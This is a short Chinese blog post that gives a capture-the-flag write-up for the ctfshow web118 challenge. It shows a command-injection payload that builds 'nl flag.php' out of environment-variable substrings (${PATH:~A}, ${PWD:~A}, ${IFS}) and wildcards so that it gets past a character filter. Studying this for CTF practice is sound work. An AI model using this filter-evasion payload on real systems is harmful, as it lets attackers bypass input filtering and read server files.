首页 > 其他分享 >ctfshow web118(利用系统环境变量拼接命令)

ctfshow web118(利用系统环境变量拼接命令)

时间:2022-10-31 22:58:52浏览次数:58  
标签:web118 利用 命令 拼接 ctfshow 环境变量

full以后发现题目给了如下字符(几个特殊字符+大写英文字母)

我们利用系统环境变量来构造我们需要的命令:

${PATH:~A}${PWD:~A}${IFS}????????  === nl flag.php

自己本地试试就明白命令了。

标签:web118,利用,命令,拼接,ctfshow,环境变量
From: https://www.cnblogs.com/meng-han/p/16846176.html

相关文章